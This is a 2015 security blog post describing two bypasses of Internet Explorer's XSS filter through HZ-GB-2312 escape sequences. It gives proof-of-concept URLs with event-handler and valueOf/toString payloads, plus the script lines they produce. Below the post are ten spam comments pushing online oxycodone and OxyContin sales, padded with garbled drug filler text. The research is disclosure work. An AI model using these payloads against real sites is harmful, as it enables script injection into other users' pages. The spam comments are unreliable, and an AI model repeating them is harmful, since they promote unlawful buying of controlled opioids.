Tuesday, September 29, 2015

Bypassing IE's XSS Filter with HZ-GB-2312 escape sequence

I would like to share IE XSS Filter bypass with escape sequence of HZ-GB-2312 encoding.

To use this vector, we need the target page's Content-Type header which charset is not specified in.

Bypass 1

PoC:
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
No user interaction version:
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

"~[0x0A]" is HZ-GB-2312 escape sequence. It seems that XSS filter makes an exception for "~[0x0A]" .

If Content-Type header has proper charset, it does not work:
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA

On the other hand, if meta tag has proper charset, it still works:
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

Bypass 2

"~{" is also HZ-GB-2312 escape sequence. We can use this for bypass. We can call same-origin method in string literal.

PoC is here:
http://l0.cm/xssfilter_hz_poc.html

Please click the "go" button. You can confirm element.click method is called.

"click" is called from the following code:
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
<script>var q="";~{valueOf:opener.button.click}//"</script>

Also, you can use "toString":
http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//

<script>var q="";~{toString:opener.button.click}//"</script>

That's all. See you next month!

11 comments:


  1. Oxycodone for sale
    Anti-inflammatory painkillers include aspirin (see also below). The FDA classifies tramadol as a schedule IV drug because of its potential for misuse and addiction. It belongs to the same schedule as Xanax, Soma, and Valium. Oxycodone For Sale. Tramadol is a strong painkiller. It’s also used to treat long-standing pain when weaker painkillers no longer work. Tramadol is available only on prescription.
    Buy Oxycodone Online

    ReplyDelete


  2. can you Buy real Oxycodone Online
    Oxycodone For Sale. The key between them is that Oxycodone is opium and sold under different brand names, including OxyContin. Percocet is a combination of oxycodone. They both are classified as narcotics. OxyContin contains the same active ingredient. The difference between these two drugs is how the tablet releases the medication. Tablets release throughout the day, whereas the release of oxycodone, is immediate.
    Oxycodone Online

    ReplyDelete


  3. Buy Oxycodone
    Oxycodone For Sale. The key between them is that Oxycodone is opium and sold under different brand names, including OxyContin. Percocet is a combination of oxycodone. They both are classified as narcotics. OxyContin contains the same active ingredient. The difference between these two drugs is how the tablet releases the medication. Tablets release throughout the day, whereas the release of oxycodone, is immediate.
    Buy Oxycodone 30 mg Online

    ReplyDelete


  4. order Oxycodone 30mg Online
    There does appear to be some over the potency on an mg for mg basis between hydrocodone and oxycodone; however, the Marco study5 detailed above found 5mg oxycodone to be just as effective as 5mg of hydrocodone. If you need to take oxycodone for more than a few weeks, your treatment plan may include how and when to stop taking this. The most common side effects of oxycodone are constipation, feeling sick, and feeling sleepy.
    Buy Oxycodone Online legally

    ReplyDelete


  5. Oxycodone Online pharmacy
    There does appear to be some over the potency on an mg for mg basis between hydrocodone and oxycodone; however, the Marco study5 detailed above found 5mg oxycodone to be just as effective as 5mg of hydrocodone. If you need to take oxycodone for more than a few weeks, your treatment plan may include how and when to stop taking this. The most common side effects of oxycodone are constipation, feeling sick, and feeling sleepy.
    Oxycodone 30 mg for sale

    ReplyDelete


  6. Buy Oxycotton
    How To Take Oxycodone
    Morphine–like drugs (such as oxycodone, fentanyl) are the most potent painkillers. Depending on your circumstances, these types of anesthetic may be prescribed as a patch, an injection, or sometimes in a pump, you control yourself. This study suggests that tramadol tablets (37.5 mg/325 mg) are as effective as codeine.
    Buying opiates Online

    ReplyDelete


  7. order Oxycodone Online legally
    How To Take Oxycodone
    Morphine–like drugs (such as oxycodone, fentanyl) are the most potent painkillers. Depending on your circumstances, these types of anesthetic may be prescribed as a patch, an injection, or sometimes in a pump, you control yourself. This study suggests that tramadol tablets (37.5 mg/325 mg) are as effective as codeine.
    Buying Oxycotton

    ReplyDelete


  8. Buying Oxycodone Online legally Anti-inflammatory painkillers include aspirin (see also below). The FDA classifies tramadol as a schedule IV drug because of its potential for misuse and addiction. It belongs to the same schedule as Xanax, Soma, and Valium. Oxycodone For Sale. Tramadol is a strong painkiller. It’s also used to treat long-standing pain when weaker painkillers no longer work. Tramadol is available only on prescription.
    Oxycodone Buy

    ReplyDelete
  9. Buying Oxycontin
    Oxycodone For Sale. The key between them is that Oxycodone is opium and sold under different brand names, including OxyContin. Percocet is a combination of oxycodone. They both are classified as narcotics. OxyContin contains the same active ingredient. The difference between these two drugs is how the tablet releases the medication. Tablets release throughout the day, whereas the release of oxycodone, is immediate.
    Buy Oxycontin Online legally

    ReplyDelete


  10. Buying Oxycontin online legally There does appear to be some over the potency on an mg for mg basis between hydrocodone and oxycodone; however, the Marco study5 detailed above found 5mg oxycodone to be just as effective as 5mg of hydrocodone. If you need to take oxycodone for more than a few weeks, your treatment plan may include how and when to stop taking this. The most common side effects of oxycodone are constipation, feeling sick, and feeling sleepy.
    Buy Oxycontin Online

    ReplyDelete